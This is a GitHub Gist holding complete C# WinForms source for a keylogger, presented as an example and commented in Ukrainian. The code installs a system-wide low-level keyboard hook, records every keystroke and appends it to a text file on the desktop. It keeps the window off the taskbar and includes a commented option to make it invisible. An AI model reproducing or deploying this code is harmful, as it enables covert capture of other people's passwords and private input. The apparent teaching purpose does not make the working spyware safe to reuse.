Last active
February 24, 2026 17:47
-
-
Save sunmeat/682d46ecfa98a7830d4bf22e977dc440 to your computer and use it in GitHub Desktop.
best winforms keylogger C# example
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // код для файлу Program.cs, стандартну форму з шаблону треба видалити | |
| using System.Diagnostics; | |
| using System.Runtime.InteropServices; | |
| using System.Text; | |
| namespace HookKeylogger | |
| { | |
| public class Program : Form | |
| { | |
| private static readonly StringBuilder keyLog = new StringBuilder(); | |
| private static readonly string logFilePath = @"C:\Users\Alex\Desktop\KeyLog.txt"; | |
| private static readonly object _lock = new object(); | |
| private const int WH_KEYBOARD_LL = 13; | |
| private const int WM_KEYDOWN = 0x0100; | |
| private static IntPtr _hookId = IntPtr.Zero; | |
| private static LowLevelKeyboardProc _proc = HookCallback; | |
| public Program() | |
| { | |
| Text = "Keylogger"; | |
| Width = 500; | |
| Height = 100; | |
| FormClosed += Program_FormClosed; | |
| ShowInTaskbar = false; | |
| // Visible = false; // розкоментувати, якщо треба приховати вікно кейлоггера | |
| } | |
| private void Program_FormClosed(object? sender, FormClosedEventArgs e) | |
| { | |
| UnhookWindowsHookEx(_hookId); | |
| SaveLogsToFileNow(); // фінальний запис при закритті вікна | |
| Application.Exit(); | |
| } | |
| [STAThread] | |
| public static void Main() | |
| { | |
| _hookId = SetHook(_proc); | |
| Application.EnableVisualStyles(); | |
| Application.SetCompatibleTextRenderingDefault(false); | |
| Application.Run(new Program()); | |
| } | |
| private static IntPtr SetHook(LowLevelKeyboardProc proc) | |
| { | |
| using var curProcess = Process.GetCurrentProcess(); | |
| using var curModule = curProcess.MainModule!; | |
| return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0); | |
| } | |
| private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) | |
| { | |
| if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) | |
| { | |
| int vkCode = Marshal.ReadInt32(lParam); | |
| string? character = GetCharFromVK(vkCode); | |
| if (!string.IsNullOrEmpty(character)) | |
| { | |
| lock (_lock) | |
| { | |
| keyLog.Append(character); | |
| } | |
| if (Application.OpenForms.Count > 0 && Application.OpenForms[0] is Program form) | |
| { | |
| form.Invoke(() => | |
| { | |
| form.Text = $"Keylogger - Останній символ: {character}"; | |
| }); | |
| } | |
| SaveLogsToFile(); | |
| } | |
| } | |
| return CallNextHookEx(_hookId, nCode, wParam, lParam); | |
| } | |
| private static string? GetCharFromVK(int vk) | |
| { | |
| var keyboardState = new byte[256]; | |
| if (!GetKeyboardState(keyboardState)) | |
| return null; | |
| var sb = new StringBuilder(5); | |
| IntPtr layout = GetKeyboardLayout(0); | |
| int result = ToUnicodeEx( | |
| (uint)vk, | |
| 0, | |
| keyboardState, | |
| sb, | |
| sb.Capacity, | |
| 0, | |
| layout); | |
| if (result <= 0) | |
| return null; | |
| return sb.ToString(); | |
| } | |
| private static async void SaveLogsToFile() | |
| { | |
| string textToAppend; | |
| lock (_lock) | |
| { | |
| if (keyLog.Length == 0) return; | |
| textToAppend = keyLog.ToString(); | |
| keyLog.Clear(); | |
| } | |
| try | |
| { | |
| var encoding = new UTF8Encoding(true); | |
| await File.AppendAllTextAsync(logFilePath, textToAppend, encoding); | |
| } | |
| catch (Exception ex) | |
| { | |
| // MessageBox.Show($"Помилка запису: {ex.Message}", "Помилка", MessageBoxButtons.OK, MessageBoxIcon.Error); | |
| } | |
| } | |
| private static void SaveLogsToFileNow() | |
| { | |
| string textToAppend; | |
| lock (_lock) | |
| { | |
| if (keyLog.Length == 0) return; | |
| textToAppend = keyLog.ToString(); | |
| keyLog.Clear(); | |
| } | |
| try | |
| { | |
| var encoding = new UTF8Encoding(true); | |
| File.AppendAllText(logFilePath, textToAppend, encoding); | |
| } | |
| catch { } | |
| } | |
| // P/Invoke | |
| private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); | |
| [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
| private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); | |
| [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
| [return: MarshalAs(UnmanagedType.Bool)] | |
| private static extern bool UnhookWindowsHookEx(IntPtr hhk); | |
| [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
| private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); | |
| [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
| private static extern IntPtr GetModuleHandle(string lpModuleName); | |
| [DllImport("user32.dll")] | |
| private static extern bool GetKeyboardState(byte[] lpKeyState); | |
| [DllImport("user32.dll")] | |
| private static extern IntPtr GetKeyboardLayout(uint idThread); | |
| [DllImport("user32.dll")] | |
| private static extern int ToUnicodeEx( | |
| uint wVirtKey, | |
| uint wScanCode, | |
| byte[] lpKeyState, | |
| [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, | |
| int cchBuff, | |
| uint wFlags, | |
| IntPtr dwhkl); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment